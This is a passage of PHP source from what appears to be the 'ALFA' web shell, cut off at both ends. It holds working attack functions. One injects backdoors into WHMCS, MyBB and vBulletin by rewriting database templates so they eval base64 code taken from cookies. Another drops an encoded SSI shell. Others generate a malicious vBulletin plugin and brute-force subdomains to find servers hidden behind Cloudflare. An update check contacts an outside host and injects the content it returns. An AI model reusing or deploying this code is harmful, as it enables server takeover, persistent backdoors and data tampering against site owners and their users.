\'</div>\';\r\nalfafooter();\r\n}\r\nfunction output($string){ echo "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><font color=red><a target=\'_blank\' href=\'".$string."\'>Click Here !</a></font></b></center><br><br>";}\r\nfunction alfaShellInjectors(){\r\nalfahead();\r\necho \'<div class=header>\';\r\nAlfaNum(11);\r\necho \'<center><p><div class="txtfont_header">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick="g(\\\'ShellInjectors\\\',null,\\\'whmcs\\\',null)">| WHMCS | </a><a href=javascript:void(0) onclick="g(\\\'ShellInjectors\\\',null,null,\\\'mybb\\\')">| MyBB | </a><a href=javascript:void(0) onclick="g(\\\'ShellInjectors\\\',null,null,null,\\\'vb\\\')">| vBulletin |</a></h3></center>\';\r\n$selector = \'<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>\';\r\nif(isset($_POST[\'alfa1\']) && $_POST[\'alfa1\']== \'whmcs\'){\r\nAlfaNum();\r\necho __pre()."<p><div class=\'txtfont_header\'>| WHMCS |</div></p><center><center><p>".getConfigHtml(\'whmcs\')."</p><form onSubmit=\\"g(\'ShellInjectors\',null,\'whmcs\',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\\" method=\'post\'>";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Path WHMCS Url : \', \'inputName\' => \'path\', \'inputValue\' => \'http://site.com/whmcs\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host : \', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name : \', \'inputName\' => \'dbn\', \'id\' => \'db_name\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User : \', \'inputName\' => \'dbu\', \'id\' => \'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass : \', \'inputName\' => \'dbp\', \'id\' => \'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho $selector;\r\necho "<p><input type=\'submit\' value=\' \'></p></form></center></td></tr></table></center>";\r\nif(isset($_POST[\'alfa6\'])) {\r\n$dbu = $_POST[\'alfa6\'];\r\n$dbn = $_POST[\'alfa7\'];\r\n$dbp = $_POST[\'alfa8\'];\r\n$dbh = $_POST[\'alfa9\'];\r\n$path = $_POST[\'alfa10\'];\r\n$method = $_POST[\'alfa4\'];\r\n$index = "{php}".ALFA_UPLOADER.";{/php}";\r\n$newin = str_replace("\'","\\\'",$index);\r\n$newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\\"{\\$pw_reset_url}\\">{\\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\\$signature}</p>{php}if(\\$_COOKIE[\\"sec\\"] == \\"123\\"){eval(base64_decode(\\$_COOKIE[\\"sec2\\"])); die(\\"!\\");}{\\/php}";\r\nif(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){\r\nif(filter_var($path,FILTER_VALIDATE_URL)){\r\n$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error());\r\n$soleSave= mysqli_query($conn,"select message from tblemailtemplates where name=\'Password Reset Validation\'");\r\n$soleGet = mysqli_fetch_assoc($soleSave);\r\n$tempSave1 = $soleGet[\'message\'];\r\n$tempSave = str_replace("\'","\\\'",$tempSave1);\r\nmysqli_query($conn,"UPDATE tblconfiguration SET value = \'1\' WHERE setting = \'AllowSmartyPhpTags\'") or die (mysqli_error($conn));\r\n$inject = "UPDATE tblemailtemplates SET message=\'$newindex\' WHERE name=\'Password Reset Validation\'";\r\n$result = mysqli_query($conn,$inject) or die (mysqli_error($conn));\r\n$create = "insert into tblclients (email) values(\'solevisible@fbi.gov\')";\r\n$result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));\r\nif(function_exists(\'curl_version\') && $method == \'auto\'){\r\n$AlfaSole = new AlfaCURL(true);\r\n$saveurl = $AlfaSole->Send($path."/pwreset.php");\r\n$getToken = preg_match("/name=\\"token\\" value=\\"(.*?)\\"/i",$saveurl,$token);\r\n$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");\r\n$backdata = "UPDATE tblemailtemplates SET message=\'{$tempSave}\' WHERE name=\'Password Reset Validation\'";\r\n$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));\r\n__alert("shell injectet...");\r\n$ff= \'http://\'.$path."/solevisible.php";\r\noutput($ff);}else{\r\necho "<br><pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><center><b><font color=\\"#FFFFFF\\">Please go to Target => </font><a href=\'".$path."/pwreset.php\' target=\'_blank\'>".$path."/pwreset.php</a><br/><font color=\'#FFFFFF\'> And Reset Password With Email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\'#FFFFFF\'>And Go To => </font><a href=\'".$path."/solevisible.php\' target=\'_blank\'>".$path."/solevisible.php</a></b></center><br><br>";}}else{__alert(\'Path is not Valid...\');}}}\r\n}if(isset($_POST[\'alfa2\']) && $_POST[\'alfa2\']== \'mybb\'){\r\nAlfaNum(1,2,3,5);\r\necho __pre()."<p><div class=\'txtfont_header\'>| MyBB |</div></p><center><center>".getConfigHtml("mybb")."<form id=\'sendajax\' onSubmit=\\"g(\'ShellInjectors\',null,null,\'mybb\',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\\" method=POST>\r\n";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Host : \', \'inputName\' => \'dbh\', \'id\'=>\'db_host\',\'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'DataBase Name : \', \'inputName\' => \'dbn\', \'id\'=>\'db_name\' ,\'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'User Name : \', \'inputName\' => \'dbu\', \'id\'=>\'db_user\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Password : \', \'inputName\' => \'dbp\', \'id\'=>\'db_pw\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix : \', \'inputName\' => \'prefix\', \'id\'=>\'db_prefix\',\'inputValue\' => \'mybb_\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho $selector;\r\necho "<p><input type=submit value=\' \'></p></form></center></center>";\r\nif(isset($_POST[\'alfa6\'])) {\r\n$dbu = $_POST[\'alfa6\'];\r\n$dbn = $_POST[\'alfa7\'];\r\n$dbp = $_POST[\'alfa8\'];\r\n$dbh = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$method = $_POST[\'alfa4\'];\r\n$shellCode = "{\\${".ALFA_UPLOADER."}}";\r\n$newinshell = str_replace("\'","\\\'",$shellCode);\r\nif (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){\r\n$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));\r\n$inject = "select template from {$prefix}templates where title= \'calendar\'";\r\n$result = mysqli_query($conn, $inject) or die (mysqli_error($conn));\r\n$GetTemp = mysqli_fetch_assoc($result);\r\n$saveDate = $GetTemp[\'template\'];\r\n$repsave = str_replace($shellCode,"",$saveDate);\r\n$repsave = str_replace("\'","\\\'",$repsave);\r\n$createShell = "update {$prefix}templates SET template= \'".$newinshell.$repsave."\' where title = \'calendar\'";\r\n$result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));\r\n$geturl = "select value from {$prefix}settings where name= \'bburl\'";\r\n$findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));\r\n$rowb = mysqli_fetch_assoc($findurl);\r\n$furl = $rowb[\'value\'];\r\n$realurl = parse_url($furl,PHP_URL_HOST);\r\n$realpath = parse_url($furl,PHP_URL_PATH);\r\n$res = false;\r\n$AlfaCurl = new AlfaCURL();\r\nif (extension_loaded(\'sockets\') && function_exists(\'fsockopen\') && $method == \'auto\' ){\r\nif ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){\r\n@fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\\r\\n");\r\n@fputs($fsock, "HOST: $realurl\\r\\n");\r\n@fputs($fsock, "Connection: close\\r\\n\\r\\n");\r\n$check = fgets($fsock);\r\nif(preg_match("/200 OK/i",$check)){\r\n$repairdbtemp = "update {$prefix}templates SET template= \'$repsave\' where title = \'calendar\'";\r\n$clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}\r\n@fclose($fsock);}}elseif(function_exists(\'curl_version\') && $method == \'auto\'){\r\n$AlfaCurl->Send($realurl.$realpath."/calendar.php");\r\n$res = true;\r\n}\r\nif($res){\r\n$ff = \'http://\'.$realurl.$realpath."/solevisible.php";\r\noutput($ff);\r\n}else{\r\n$ff = \'http://\'.$realurl.$realpath."/calendar.php";\r\n$fff = \'http://\'.$realurl.$realpath."/solevisible.php";\r\necho "<br><pre id=\'strOutput\' style=\'margin-top:5px\' class=\'ml1\'><br><center><b><font color=\'#FFFFFF\'>Please Go To Target => </font><a href=\'".$ff."\' target=\'_blank\'>".$ff."</a><br/><font color=\'#FFFFFF\'>And Go To => </font><a href=\'".$fff."\' target=\'_blank\'>".$fff."</a></b></center><br><br>";\r\n}}}}\r\nif(isset($_POST[\'alfa3\']) && $_POST[\'alfa3\']== \'vb\'){\r\nAlfaNum(1,2,7,9,10);\r\necho __pre().\'<p><div class="txtfont_header">| vbulletin |</div></p><p>\'.getConfigHtml(\'vb\').\'</p><form name="frm" method="POST" onsubmit="g(\\\'ShellInjectors\\\',null,null,this.lo.value,\\\'vb\\\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Host : \', \'inputName\' => \'lo\', \'id\'=>\'db_host\',\'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'DataBase Name : \', \'inputName\' => \'db\', \'id\'=>\'db_name\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'User Name : \', \'inputName\' => \'user\', \'id\'=>\'db_user\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Password : \', \'inputName\' => \'pass\', \'id\'=>\'db_pw\',\'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix : \', \'inputName\' => \'tab\', \'id\'=>\'db_prefix\',\'inputValue\' => \'\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho $selector;\r\necho \'<p><input type="submit" value=" " /></p></form></center>\';\r\nif(isset($_POST[\'alfa4\'])&&!empty($_POST[\'alfa4\'])){\r\n$method = $_POST[\'alfa8\'];\r\n$faq_name = "faq";\r\n$faq_file = "/faq.php";\r\n$code = "{\\${".ALFA_UPLOADER."}}{\\${exit()}}&";\r\n$conn=@mysqli_connect($_POST[\'alfa2\'],$_POST[\'alfa4\'],$_POST[\'alfa5\'],$_POST[\'alfa7\']) or die(@mysqli_connect_error());\r\n$rec = "select `template` from ".$_POST[\'alfa6\']."template WHERE title =\'".$faq_name."\'";\r\n$recivedata = @mysqli_query($conn,$rec);\r\n$getd = @mysqli_fetch_assoc($recivedata);\r\n$savetoass = $getd[\'template\'];\r\nif(empty($savetoass)){\r\n\t$faq_name = "header";\r\n\t$faq_file = "/";\r\n\t$rec = "select `template` from ".$_POST[\'alfa6\']."template WHERE title =\'".$faq_name."\'";\r\n\t$recivedata = @mysqli_query($conn,$rec);\r\n\t$getd = @mysqli_fetch_assoc($recivedata);\r\n\t$savetoass = $getd[\'template\'];\r\n\t$code = ALFA_UPLOADER.";";\r\n}\r\n$code = str_replace("\'","\\\'",$code);\r\n$p = "UPDATE ".$_POST[\'alfa6\']."template SET `template`=\'".$code."\' WHERE `title`=\'".$faq_name."\'";\r\n$ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));\r\n$geturl = @mysqli_query($conn,"select `value` from ".$_POST[\'alfa6\']."setting WHERE `varname`=\'bburl\'");\r\n$getval = @mysqli_fetch_assoc($geturl);\r\n$saveval = $getval[\'value\'];\r\nif($faq_name == "header"){\r\n\tif(substr($saveval, -5, 5) == "/core"){\r\n\t\t$saveval = substr($saveval, 0, -5);\r\n\t}\r\n}\r\n$realurl = parse_url($saveval,PHP_URL_HOST);\r\n$realpath = parse_url($saveval,PHP_URL_PATH);\r\n$res = false;\r\n$AlfaCurl = new AlfaCURL();\r\nif(extension_loaded(\'sockets\') && function_exists(\'fsockopen\') && $method == \'auto\'){\r\nif($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){\r\n@fputs($fsock, "GET $realpath.$faq_file HTTP/1.1\\r\\n");\r\n@fputs($fsock, "HOST: $realurl\\r\\n");\r\n@fputs($fsock, "Connection: close\\r\\n\\r\\n");\r\n$check = fgets($fsock);\r\nif(preg_match("/200 OK/i",$check)){\r\n$p1 = "UPDATE ".$_POST[\'alfa6\']."template SET template =\'".mysqli_real_escape_string($conn,$savetoass)."\' WHERE title =\'".$faq_name."\'";\r\n$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));\r\n$res = true;\r\n}\r\n@fclose($fsock);\r\n}\r\n}elseif(function_exists(\'curl_version\') && $method == \'auto\'){\r\n$AlfaCurl->Send($realurl.$realpath.$faq_file);\r\n$p1 = "UPDATE ".$_POST[\'alfa6\']."template SET template =\'".mysqli_real_escape_string($conn,$savetoass)."\' WHERE title =\'".$faq_name."\'";\r\n$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));\r\n$res = true;\r\n}\r\nif($res){\r\n$ff = \'http://\'.$realurl.$realpath."/solevisible.php";\r\noutput($ff);\r\n}else{\r\n$ff = \'http://\'.$realurl.$realpath.$faq_file;\r\n$fff = \'http://\'.$realurl.$realpath."/solevisible.php";\r\necho "<center><p><font color=\\"#FFFFFF\\">First Open This Link => </font><a href=\'".$ff."\' target=\'_blank\'>".$ff."</a><br/><font color=\\"#FFFFFF\\">Second Open This Link => </font><a href=\'".$fff."\' target=\'_blank\'>".$fff."</a></center></p>";}}}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfacheckfiletype(){\r\n\t$path = $_POST[\'path\'];\r\n\t$arg = $_POST[\'arg\'];\r\n\tif(@is_file($path.\'/\'.$arg)){\r\n\t\techo("file");\r\n\t}else{\r\n\t\techo("dir");\r\n\t}\r\n}\r\nfunction alfacheckupdate(){\r\n\tif($GLOBALS["DB_NAME"]["cgi_api"]){\r\n\t\tif(!isset($_COOKIE["alfacgiapi_mode"])&&!isset($_COOKIE["alfacgiapi"])){\r\n\t\t\t_alfa_cgicmd("whoami","perl",true);\r\n\t\t\tif(strlen(alfaEx("whoami",false,true))>0){\r\n\t\t\t\t__alfa_set_cookie("alfa_canruncmd", "true");\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(function_exists("curl_version")){\r\n\t\t$update = new AlfaCURL();\r\n\t\t$json = $update->Send("http://solevisible.com/update.json?ver=".__ALFA_VERSION__);\r\n\t\t$json = @json_decode($json,true);\r\n\t\t$data = array();\r\n\t\tif($json){\r\n\t\t\tif(!isset($_COOKIE[\'alfa_checkupdate\']) && !empty($json["type"])){\r\n\t\t\t\tif($json["type"] == "update"){\r\n\t\t\t\t\tif(__ALFA_VERSION__ != $json[\'version\'] || __ALFA_UPDATE__ != $json[\'version_number\']){\r\n\t\t\t\t\t\t@setcookie("alfa_checkupdate", "1", time()+86400);\r\n\t\t\t\t\t\t$data["content"] = \'<div class="update-holder">\'.$json["content"].\'</div>\';\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(isset($json["ads"]) && !empty($json["ads"])){\r\n\t\t\t\t$data["content"] .= $json["ads"];\r\n\t\t\t}\r\n\t\t\tif(isset($json["copyright"]) && !empty($json["copyright"])){\r\n\t\t\t\t$data["copyright"] = $json["copyright"];\r\n\t\t\t}\r\n\t\t\tif(isset($json["solevisible"]) && !empty($json["solevisible"])){\r\n\t\t\t\t$data["solevisible"] = $json["solevisible"];\r\n\t\t\t}\r\n\t\t\tif(isset($json["code_name"]) && !empty($json["code_name"])){\r\n\t\t\t\t$data["code_name"] = $json["code_name"];\r\n\t\t\t\t$data["version_number"] = __ALFA_VERSION__;\r\n\t\t\t}\r\n\t\t\tif(isset($json["market"]) && !empty($json["market"])){\r\n\t\t\t\t$data["market"] = $json["market"];\r\n\t\t\t}\r\n\t\t\techo @json_encode($data);\r\n\t\t}\r\n\t}\r\n}\r\nfunction alfaWriteTocgiapi($name, $source){\r\n\t$temp = "";\r\n\t$not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");\r\n\tif(in_array($name, $not_api)){\r\n\t\t$temp = ALFA_TEMPDIR;\r\n\t\tif($temp){\r\n\t\t\t@chdir($temp);\r\n\t\t}\r\n\t}else{\r\n\t\talfaCreateParentFolder();\r\n\t\t@chdir($GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__);\r\n\t}\r\n\t@mkdir(\'alfacgiapi\',0755);\r\n\t__write_file("alfacgiapi/".$name, __get_resource($source));\r\n\t@chmod("alfacgiapi/".$name, 0755);\r\n\treturn $temp;\r\n}\r\nfunction alfacheckcgi(){if(strlen(alfaEx("id",false,true,true))>0)echo("ok");else echo("no");}\r\nfunction alfaupdateheader(){\r\n\tif(!isset($_COOKIE["updateheader_data"])){\r\n\t\t$bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";\r\n\t\t$realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));\r\n\t\t$tmp_path = alfaWriteTocgiapi("getheader.alfa",$bash);\r\n\t\t$data = alfaEx("cd \'{$tmp_path}/alfacgiapi\';sh getheader.alfa",false,true,true);\r\n\t\tif(@is_array(@json_decode($data,true))){\r\n\t\t\t__alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));\r\n\t\t\techo $data;\r\n\t\t}\r\n\t}else{\r\n\t\techo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);\r\n\t}\r\n}\r\nfunction alfassiShell(){\r\nalfahead();\r\necho \'<div class=header>\';\r\nalfaCreateParentFolder();\r\n@chdir($GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__);\r\n@mkdir(\'alfa_shtml\',0755);\r\n@chdir(\'alfa_shtml\');\r\nalfacgihtaccess(\'shtml\');\r\n$code = \'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==\';\r\n@__write_file(\'alfa_ssi.shtml\',__get_resource($code));\r\n@chmod("alfa_ssi.shtml",0755);\r\necho AlfaiFrameCreator(\'alfa_shtml/alfa_ssi.shtml\');\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfacloudflare(){\r\nalfahead();\r\nAlfaNum(8,9,10,7,6,5,4,3);\r\necho "<div class=header><center><br><div class=\'txtfont_header\'>| Cloud Flare ByPasser |</div><br><form action=\'\' onsubmit=\\"g(\'cloudflare\',null,this.url.value,\'>>\'); return false;\\" method=\'post\'>\r\n<p><div class=\'txtfont\'>Target:</div> <input type=\'text\' size=30 name=\'url\' style=\'text-align:center;\' placeholder=\\"target.com\\"> <input type=\'submit\' name=\'go\' value=\' \' /></p></form></center>";\r\nif($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'>>\'){\r\n$url = $_POST[\'alfa1\'];\r\nif(!preg_match(\'/^(https?):\\/\\/(w{3}|w3)\\./i\', $url)){\r\n$url = preg_replace(\'/^(https?):\\/\\//\', \'\', $url);\r\n$url = "http://www.".$url;\r\n}\r\n$headers = @get_headers($url, 1);\r\n$server = $headers[\'Server\'];\r\n$subs = array(\'owa.\',\'2tty.\',\'m.\',\'gw.\',\'mx1.\',\'store.\',\'1\',\'2\',\'vb.\',\'news.\',\'download.\',\'video\',\'cpanel.\', \'ftp.\', \'server1.\', \'cdn.\', \'cdn2.\', \'ns.\', \'ns3.\', \'mail.\', \'webmail.\', \'direct.\', \'direct-connect.\', \'record.\', \'ssl.\', \'dns.\', \'help.\', \'blog.\', \'irc.\', \'forum.\', \'dl.\', \'my.\', \'cp.\', \'portal.\', \'kb.\', \'support.\',\'search.\', \'docs.\', \'files.\', \'accounts.\', \'secure.\', \'register.\', \'apps.\', \'beta.\', \'demo.\', \'smtp.\', \'ns2.\', \'ns1.\', \'server.\', \'shop.\', \'host.\', \'web.\', \'cloud.\', \'api.\', \'exchange.\', \'app.\', \'vps.\', \'owa.\', \'sat.\', \'bbs.\', \'movie.\', \'music.\', \'art.\', \'fusion.\', \'maps.\', \'forums.\', \'acc.\', \'cc.\', \'dev.\', \'ww42.\', \'wiki.\', \'clients.\', \'client.\',\'books.\',\'answers.\',\'service.\',\'groups.\',\'images.\',\'upload.\',\'up.\',\'tube.\',\'users.\',\'admin.\',\'administrator.\',\'private.\',\'design.\',\'whmcs.\',\'wp.\',\'wordpress.\',\'joomla.\',\'vbulletin.\',\'test.\',\'developer.\',\'panel.\',\'contact.\');\r\nif(preg_match(\'/^(https?):\\/\\/(w{3}|w3)\\./i\', $url, $matches)){\r\nif($matches[2] != \'www\'){$url = preg_replace(\'/^(https?):\\/\\//\', \'\', $url);}else{\r\n$url = explode($matches[0], $url);\r\n$url = $url[1];}}\r\nif(is_array($server))$server = $server[0];\r\necho __pre();\r\nif(preg_match(\'/cloudflare/i\', $server))\r\necho "\\n[+] CloudFlare detected: {$server}\\n<br>";\r\nelse\r\necho "\\n[+] CloudFlare wasn\'t detected, proceeding anyway.\\n";\r\necho \'[+] CloudFlare IP: \' . is_ipv4(gethostbyname($url)) . "\\n\\n<br><br>";\r\necho "[+] Searching for more IP addresses.\\n\\n<br><br>";\r\nfor($x=0;$x<count($subs);$x++){\r\n$site = $subs[$x] . $url;\r\n$ip = is_ipv4(gethostbyname($site));\r\nif($ip == \'(Null)\')\r\ncontinue;\r\necho "Trying {$site}: {$ip}\\n<br>";\r\n}\r\necho "\\n[+] Finished.\\n<br>";\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction is_ipv4($ip){\r\nreturn filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : \'(Null)\';\r\n}\r\nfunction __alert($s){\r\necho \'<center>\'.__pre().$s.\'</center>\';\r\n}\r\nfunction create_table($data){\r\necho \'<table border="1">\';\r\nforeach ($data as $key => $val){\r\n$array = array();\r\nforeach($val as $k => $v){\r\n$array[$k] = $v;\r\n}\r\necho "<tr><td><div class=\'tbltxt\'>".$array[\'tdName\']."</div></td><td><input type=\'text\' id=\'".$array[\'id\']."\' name=\'".$array[\'inputName\']."\' ".($array[\'placeholder\']?\'placeholder\':\'value\')."=\'".$array[\'inputValue\']."\' size=\'".$array[\'inputSize\']."\' ".($array[\'disabled\']?\'disabled\':\'\')."></td></tr>";\r\n}\r\necho \'</table>\';\r\n}\r\nfunction alfaphp2xml(){\r\nalfahead();\r\nAlfaNum(8,9,10,7,6,5,4,3);\r\necho "<div class=header><center><p><div class=\'txtfont_header\'>| Shell For vBulletin |</div></p><form onsubmit=\\"g(\'php2xml\',null,this.code.value,\'>>\'); return false;\\" method=\'post\'>\r\n<p><br><textarea rows=\'12\' cols=\'70\' type=\'text\' name=\'code\' placeholder=\\"insert your shell code\\"></textarea><br/><br/>\r\n<input type=\'submit\' name=\'go\' value=\' \' /></p></form></center>";\r\nif($_POST[\'alfa2\']&&$_POST[\'alfa2\']==\'>>\'){\r\necho __pre()."<p><center><textarea rows=\'10\' name=\'users\' cols=\'80\'>";\r\necho \'<?xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\\\'PHP_SELF\\\'],"subscriptions.php")){eval(base64_decode(\\\'\'.__ZW5jb2Rlcg($_POST[\'alfa1\']).\'\\\'));exit;}]]></phpcode></plugin></plugins>\';\r\necho \'</textarea></center></p>\';\r\n}\r\necho \'</center></div>\';\r\nalfafooter();\r\n}\r\nfunction alfacpcrack(){\r\nalfahead();\r\necho \'<div class=header><center><p><div class="txtfont_header">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'cpcrack\\\',null,\\\'dec\\\')">| DeCrypter | </a><a href=javascript:void(0) onclick="g(\\\'cpcrack\\\',null,\\\'analyzer\\\')">| Hash Analyzer | </a></h3></center>\';\r\nif($_POST[\'alfa1\']==\'dec\'){\r\n$algorithms = 